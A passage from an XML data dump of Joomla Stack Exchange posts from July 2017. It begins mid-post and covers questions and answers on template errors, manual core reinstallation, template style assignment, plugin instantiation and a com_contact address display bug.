/&amp;gt;&#xA;                    &amp;lt;span class=&quot;uk-icon-clock-o&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;%=startTime%&amp;gt; - &amp;lt;%=endTime%&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;uk-width-medium-2-10&quot; style=&quot;font-size:90%;text-align:right&quot;&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&#xA;                    &amp;lt;%  if(prorate == 1){ %&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Program in session&amp;lt;br&amp;gt;Discounted fee&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;%  } else { %&amp;gt;&#xA;&#xA;                        &amp;lt;span&amp;gt;Fee: $&amp;lt;%=price%&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;                    &amp;lt;% } %&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;  &#xA;&#xA;                &amp;lt;%  if((isGold == 0)||(product_refered=='Y')){ %&amp;gt;&#xA;                        &amp;lt;span data-uk-tooltip title=&quot;Not eligible &amp;lt;br /&amp;gt;for Gold Club discount&quot; class=&quot;uk-icon-star&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;%  } else { %&amp;gt;&#xA;                        &amp;lt;span data-uk-tooltip title=&quot;Gold Club members receive &amp;lt;br /&amp;gt;10% discount on this &amp;lt;br /&amp;gt;program&quot;  style=&quot;color:gold&quot; class=&quot;uk-icon-star&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;%  } %&amp;gt;        &#xA;                    &amp;lt;br /&amp;gt;&#xA;                &amp;lt;%  if(isLatefee == 1){ %&amp;gt;&#xA;                        &amp;lt;span style=&quot;font-size:90%&quot;&amp;gt;After 15th May:&amp;lt;/span&amp;gt; $&amp;lt;%=lateFee%&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&#xA;                &amp;lt;%  } %&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;                              &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11029" LastActivityDate="2017-07-20T12:36:34.233" Title="Test site not rendering template list php error" Tags="|joomla-3.x|php|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21168" PostTypeId="2" ParentId="21165" CreationDate="2017-07-15T13:56:48.617" Score="1" Body="&lt;p&gt;I don't know this component com_usg_progs, but is there an addition script missing with handles a prorate? I think these lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var setprorate = prorate;&#xA;var prorate = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IMHO do not make sence, you should not re-declare same variable twice with this &lt;code&gt;var prorate = 0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could insert the following to get rid off this problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (typeof prorate !== 'undefined') {&#xA;    var setprorate = prorate;&#xA;    prorate = 0;&#xA;} else {&#xA;    var prorate = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2017-07-15T13:56:48.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21170" PostTypeId="2" ParentId="21140" CreationDate="2017-07-16T12:15:45.443" Score="1" Body="&lt;p&gt;It seems your Joomla! instance is corrupted. Since using the Joomla admin does not help with the re-installation, I would suggest Do a complete Joomla! Core manual re-installation / package replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This probably will work better in a local clone of the website on your desktop. Generally avoid doing this on the live website directly.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Create a fresh the Joomla! Core on an existing website:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download your Joomla! version (3.7.3) full stable package from joomla.org&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unzip it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start replacing everything Joomla! core in your instance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open side by side the 2 folders where your site-clone and the unzipped fresh Joomla package reside.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Administrator Site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Navigate in each of the admin site subfolders:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a. Components, Modules, Includes folders.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all and copy the *subfolders/subcontent from fresh Joomla! of the above folders, and paste to your site. Let it replace any existing items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*subfolders = each core component, module folder and files -see screenshot&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mSQUR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mSQUR.jpg&quot; alt=&quot;Selecting all admin components&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b. Help, Manifests, Languages Folder&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Likely you won't need to replace anything for these folders- but in case you do, select the content of their subfolders, copy and paste to your site's instance. (e.g. for languages, copy the contents of the core en-EN language folder and paste them to your site - replace existing ones).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;c. Templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unless you have any template overrides you can copy/paste the whole templates folder. If you have overrides, then save your overrides somewhere before replacing the templates and place them again to their previous location on the fresh templates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Front-end Site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Navigate in each of the site subfolders:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a. bin, cli&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all and copy the files of these folders from fresh Joomla! of the above folders, and paste to your site's instance. Let it replace any existing items. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b. Includes, Layouts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the whole folders and replace on your site's instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;c. Components, Libraries, Media, Modules&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the subfolders/contents of these folders (the ones of each module, component etc - as described for the administrator components) and replace on your site's instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;d. Languages and Templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Navigate in each plugin's folder and copy the subfolders that exist there. Replace the items with the same name on your joomla site instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e. Plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Similar as described for the admin site. Just note that if you are using 3rd party templates - then you need to copy from the fresh core only each subfolder that exist in the templates folder and not the whole folder.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Conclusion - things to keep in mind:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The above describe briefly how to completely replace the core Joomla files on an existing Joomla site - without removing 3rd party files.  &lt;/li&gt;&#xA;&lt;li&gt;With this general approach, it's made sure that the whole Joomla core is there.  &lt;/li&gt;&#xA;&lt;li&gt;Of course it's recommended that the Joomla versions should match.   &lt;/li&gt;&#xA;&lt;li&gt;Other specific customizations/overrides/patches over the core of the existing site will be removed.&lt;/li&gt;&#xA;&lt;li&gt;If there are no 3rd party extensions and other files exist on the whole website or partially in subfolders e.g. a plugins folder, then the whole parent folder can be replaced.&lt;/li&gt;&#xA;&lt;li&gt;Always have a backup - avoid doing such tasks on the live website.&lt;/li&gt;&#xA;&lt;li&gt;Remember to clearing caches etc, when testing your changes.&lt;/li&gt;&#xA;&lt;li&gt;I am describing/suggesting the full core re-installation with this method because likely if there is a failed Joomla installation for whatever reason, this might contain more than 1 corrupted files. However, someone could go with partial replacements of the whole Joomla package and try on each step to see if a specific issue is resolved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extra Tip&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that in some cases, during copy/paste/replace from fresh Joomla to the site, it's useful and timesaver to temporary rename and keep aside some of the existing site folders - instead of replacing them (which deletes them) - so to keep references to them in my current working environment - without the need to look to re-download/re-unzip/recreate the existing site. I can easily rename folders and switch between the 2 versions - or do comparisons etc.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-16T13:20:50.713" LastActivityDate="2017-07-16T13:20:50.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21171" PostTypeId="1" CreationDate="2017-07-16T15:02:04.330" Score="2" ViewCount="1350" Body="&lt;p&gt;How to make the sub articles have different template style and not inherit the one assigned to their parent category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that I have news category which uses the default template style. How can I assign a different template style the single articles of that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5387" LastEditorUserId="126" LastEditDate="2017-07-17T17:16:39.283" LastActivityDate="2017-07-17T17:16:39.283" Title="How to assign a different Joomla template style to subpages?" Tags="|joomla-3.x|templates|articles|extensions|menu-parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21172" PostTypeId="2" ParentId="21171" CreationDate="2017-07-16T17:51:25.763" Score="1" Body="&lt;p&gt;There's a few ways you could do this. Here are two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a category blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use the news example, do you require the parent category to be a list view (which uses a different template, and listing each article in it's view), with a separate layout view for each article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To customise the default layout for a category blog in Joomla, you need to create an override for com_content/category (navigate to Extensions -&gt; Templates and overrides from there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this post for more info on multiple blog styles: &lt;a href=&quot;https://stackoverflow.com/questions/22177277/joomla-3-x-category-blog-override-is-it-possible-to-have-more-than-one&quot;&gt;https://stackoverflow.com/questions/22177277/joomla-3-x-category-blog-override-is-it-possible-to-have-more-than-one&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Joomla's template styles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set these up by assigning Joomla's template styles to a menu item (pointing to your category of choice) and editing your template view in your theme accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a page from the Joomla docs for reference: &#xA;&lt;a href=&quot;https://docs.joomla.org/Help37:Extensions_Template_Manager_Styles&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help37:Extensions_Template_Manager_Styles&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9710" LastActivityDate="2017-07-16T17:51:25.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21173" PostTypeId="2" ParentId="21171" CreationDate="2017-07-16T21:21:29.223" Score="3" Body="&lt;p&gt;If your template is not in the list of the non-compatible templates/frameworks of this extension, I would suggest you to go with the &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager#free-vs-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Regular Labs Advanced Template Manager&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Advanced Template Manager is an extension that changes the way your Template manager works.&lt;/p&gt;&#xA;&lt;p&gt;With Joomla you can normally only assign template styles to certain menu items.&lt;/p&gt;&#xA;&lt;p&gt;With Advanced Template Manager you have the possibility to assign template styles to just about anything you want, giving you full control over your Joomla template styles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Some of its Assignment Options:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Menu Items, Home Page, Date Range, Templates, URLs, Devices (Mobile, Tablet, Desktop), Operating Systems, Browsers, Components, Tags, Joomla! Content (Assign templates by Joomla Page types, Categories and Articles) and more...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In case you want to go the customization way (e.g. overrides, or with a system plugin) you can programmatically assign a template with the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$params = array();&#xA;$app-&amp;gt;setTemplate($template_name, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-16T21:21:29.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21174" PostTypeId="1" AcceptedAnswerId="21189" CreationDate="2017-07-16T22:57:50.393" Score="0" ViewCount="147" Body="&lt;p&gt;Javascript code for tracking which was incorporated into Joomla installation through a Custom HTML module has no effect on Piwigo gallery. How visits to the gallery could be tracked, i.e. where the code goes in it?&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2017-07-17T20:29:47.663" Title="How to insert tracking JS code (snippet) into Piwigo gallery?" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21175" PostTypeId="1" AcceptedAnswerId="21177" CreationDate="2017-07-17T00:47:56.280" Score="1" ViewCount="83" Body="&lt;p&gt;Here is my problem, I made couple content categories, the structure is something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pages (here I store all the pages, like about us, contacts, news, privacy policy, etc);&lt;/li&gt;&#xA;&lt;li&gt;news (with subcategories to publish news into them);&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've also create a menu a linked it to singles articles from my pages category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I try to access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/en/8-pages&#xA;http://example.com/en/about-us/8-pages&#xA;http://example.com/8-pages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. (where 8 is a &quot;pages&quot; category ID). I can see a page of the category itself and it display all the articles that I've inside that category. I've no idea how to prevent this. The category is just to store pages in it, it shouldn't be accessible. And I can't move my pages out of category either, cause there is Uncategorized category and this category can be viewed the same way (ID + category name) and viola.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to understand and fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I did read the similar question &lt;a href=&quot;https://joomla.stackexchange.com/questions/10046/how-can-i-get-rid-of-category-pages-in-joomla&quot;&gt;there&lt;/a&gt;, but I find my question different.&lt;/p&gt;&#xA;" OwnerUserId="11314" LastActivityDate="2017-07-17T04:26:11.707" Title="How to prevent category pages from being visited" Tags="|articles|category|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21176" PostTypeId="1" CreationDate="2017-07-17T01:22:21.347" Score="1" ViewCount="163" Body="&lt;p&gt;I recently updated my Joomla site to 3.7.3 and it broke the site by displaying a blank page.  I turned error reporting on and it gives me an error related to AbstractApplication.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site:  &lt;a href=&quot;http://www.shelbypublicschools.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.shelbypublicschools.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any information for me on how I can fix this?  I've updated my template to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11322" LastEditorUserId="126" LastEditDate="2017-07-17T18:19:09.393" LastActivityDate="2017-11-24T11:26:44.097" Title="Joomla Update 3.7.3 has broken my website. AbstractApplication.php error" Tags="|update|joomla-3.7|fatal-error|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21177" PostTypeId="2" ParentId="21175" CreationDate="2017-07-17T04:26:11.707" Score="2" Body="&lt;p&gt;You can try using joomla redirects or HTACCESS redirects for that.&#xA;Whenever x category is requested you redirect to the user to page x&lt;/p&gt;&#xA;" OwnerUserId="9339" LastActivityDate="2017-07-17T04:26:11.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21179" PostTypeId="1" CreationDate="2017-07-17T11:22:50.477" Score="-1" ViewCount="454" Body="&lt;p&gt;0 String could not be parsed as XML, this error is displaying on my joomla administrator and it is not working. &lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="168" LastEditDate="2017-07-17T11:35:59.610" LastActivityDate="2017-07-17T13:32:33.987" Title="0 String could not be parsed as XML, joomla administrator is not working" Tags="|php|component|xml|jomsocial|" AnswerCount="1" CommentCount="10" ClosedDate="2017-07-28T08:46:31.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="21180" PostTypeId="2" ParentId="21179" CreationDate="2017-07-17T13:32:33.987" Score="1" Body="&lt;p&gt;Update Joomla to the latest version if it's not already on the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update third party extensions to the latest versions (&lt;a href=&quot;https://www.ostraining.com/support-forum/joomla-support/0-string-could-not-be-parsed-as-xml/#113071&quot; rel=&quot;nofollow noreferrer&quot;&gt;especially JomSocial as older versions can cause this exact error&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-07-17T13:32:33.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21181" PostTypeId="1" AcceptedAnswerId="21182" CreationDate="2017-07-17T14:28:52.833" Score="2" ViewCount="61" Body="&lt;p&gt;In Joomla when we develop an extension we make some class that extends another class like JModule or JPlugin and we have to use the naming convention for name it for example when we make a plugin we have to use the plg as a naming conventions for class name I am confused how this class work without make any instance of it ?&lt;/p&gt;&#xA;" OwnerUserId="2160" LastEditorUserId="2160" LastEditDate="2017-07-17T14:37:35.010" LastActivityDate="2017-07-17T15:18:55.483" Title="How class work without make instance of it in joomla?" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21182" PostTypeId="2" ParentId="21181" CreationDate="2017-07-17T14:44:50.527" Score="1" Body="&lt;p&gt;I assume you mean that you use the class &lt;code&gt;PlgContentMyClass&lt;/code&gt; but then don't have to call it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = new PlgContentMyClass;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It because Joomla follows the observer pattern, which basically means that all subclasses (in this case &lt;code&gt;PlgContentMyClass&lt;/code&gt;) of &lt;code&gt;JPlugin&lt;/code&gt; will automatically register themselves to the &lt;code&gt;JEventDispatcher&lt;/code&gt; class (which is global).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, they're automatically instantiated and you don't need to do it yourself&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-07-17T14:44:50.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21183" PostTypeId="2" ParentId="21181" CreationDate="2017-07-17T15:18:55.483" Score="1" Body="&lt;p&gt;Plugin Classes are instantiated &quot;automagically&quot; - at the moment when Joomla triggers a Plugin Event. Depending on the Plugin event that is thrown, the respective plugin classes will get instantiated into objects and all the methods of that event name will be executed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla plugin events are triggered through the &lt;code&gt;JEventDispatcher&lt;/code&gt; Class that implements the &lt;a href=&quot;https://en.wikipedia.org/wiki/Observer_pattern&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;observer design pattern&lt;/strong&gt;&lt;/a&gt;, where events are &lt;strong&gt;observable&lt;/strong&gt; and the plugins are &lt;strong&gt;observers&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-17T15:18:55.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21184" PostTypeId="1" AcceptedAnswerId="21185" CreationDate="2017-07-17T15:53:36.703" Score="2" ViewCount="460" Body="&lt;p&gt;I'm maintaining a Joomla 3.7.3 site which uses the default com_contact module to display a contact page. I'm trying to display some basic information about our business, address, email, phone, etc. What's strange to me is that the address information is correctly saved into the selected contact and both in the contact page and global options I have all the address field settings to show. My com_contact html in the template is unaltered, so I'm really not sure what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at the html source, it looks like the php performs a check as to whether the contact has an address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('address_check') &amp;gt; 0) &amp;amp;&amp;amp;&#xA;        ($this-&amp;gt;contact-&amp;gt;address || $this-&amp;gt;contact-&amp;gt;suburb  || $this-&amp;gt;contact-&amp;gt;state || $this-&amp;gt;contact-&amp;gt;country || $this-&amp;gt;contact-&amp;gt;postcode)) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should return true, but it doesn't. The address section isn't included in the html loaded into the page, only a html placeholder comment for where the address section should go.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this with multiple contacts, but I haven't found a combination that works yet. So, 1) the contact has address details saved; 2) Contact Page options are set to show address fields; 3) Global settings are set to show address fields; 4) Default com_contact template is unmodified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why does Joomla not recognize addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;So, I've experimented a little and it seems to only be the address fields (address, city/suburb, state, postal code, and country). So, I'm beginning to suspect that this is either something messing up internally, either in the template or somewhere else. I suspect that the address_check function is somehow failing, but I don't have the code chops to debug this. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2017-07-17T16:14:15.050" LastActivityDate="2017-07-17T17:12:34.393" Title="How to fix address not displaying on default com_contact page?" Tags="|joomla-3.7|contact|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21185" PostTypeId="2" ParentId="21184" CreationDate="2017-07-17T17:01:04.073" Score="1" Body="&lt;h1&gt;Official solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Actually my initial solution was just a quick work-around. It didn't seem right, as it will check only against the specific &lt;code&gt;show_street_address&lt;/code&gt; param. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla probably is doing another check for if the address should be shown or not, and that is with the &lt;code&gt;address_check&lt;/code&gt; param - but this is missing, so it always default to false. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a reported bug and there is an official fix available that will be included in the coming releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fix this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: components/com_contact/views/contact/view.html.php line # 335&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params      = &amp;amp;$params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params      = &amp;amp;$item-&amp;gt;params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Initial Answer&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I confirm that there is an issue with the address template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following and see if it fixes the issue for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template override for the &lt;code&gt;com_contact&lt;/code&gt; -&gt; &lt;code&gt;contact&lt;/code&gt; -&gt; &lt;code&gt;default_address.php&lt;/code&gt; template inside your template's html folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the html and all the folders chain if they do not exist, and copy and paste there the &lt;code&gt;default_address.php&lt;/code&gt; file from &lt;code&gt;components/com_contact/views/contact/tmpl/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the copied file and edit at about line #18: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('address_check') &amp;gt; 0) &amp;amp;&amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (($this-&amp;gt;params-&amp;gt;get('show_street_address') &amp;gt; 0) &amp;amp;&amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file and test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm that your template override is working, you can add some plain text or html before any php if statements, just above of the (~line #17)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;contact-address dl-horizontal&quot; itemprop=&quot;address&quot; itemscope itemtype=&quot;https://schema.org/PostalAddress&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-17T17:12:34.393" LastActivityDate="2017-07-17T17:12:34.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21186" PostTypeId="2" ParentId="21176" CreationDate="2017-07-17T17:28:17.997" Score="1" Body="&lt;p&gt;I tried to visit your site but sucuri says that my country is blocked, so I can't see more about the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try re-installing Joomla from the admin (Joomla Update component) - or try a manual core re-installation as described here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/21140/class-jinput-not-found-after-updating-to-3-7-3&quot;&gt;Class &amp;#39;JInput&amp;#39; not found after updating to 3.7.3&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to make sure all your installed extensions are up-to-date and compatible with Joomla 3.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you suspect that your issue comes from incompatible extensions, and that those extensions do not allow you to access the backend, can try disabling them - either through the database or by renaming their files/folders. Just note that in such case, it's better to know or document what you are doing, so you can revert back if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that it's always a good practice that apart of backups prior of updating, any software updates is better to be tested on a testing/dev site first and not directly on the production one.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-17T17:28:17.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21187" PostTypeId="2" ParentId="5061" CreationDate="2017-07-17T18:51:29.650" Score="0" Body="&lt;p&gt;I know its a little bit old and target Joomal 2.7 but with Joomla 3.7 you could do the following (which might help you):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new module (Articles - Category)&lt;/li&gt;&#xA;&lt;li&gt;In the Modules tab switch the mode to &quot;Dynamic&quot;&lt;/li&gt;&#xA;&lt;li&gt;In the filtering Options adjust the Options &quot;Date Range Field&quot;, &quot;Start Date Range&quot;, &quot;To Date&quot; ... &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2017-07-17T18:51:29.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21189" PostTypeId="2" ParentId="21174" CreationDate="2017-07-17T20:29:47.663" Score="1" Body="&lt;p&gt;Piwigo is completely external to Joomla.  You will need to put the tracking code directly into Piwigo.  You may want to contact the Piwigo to check if they have a plugin for analytics.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-07-17T20:29:47.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
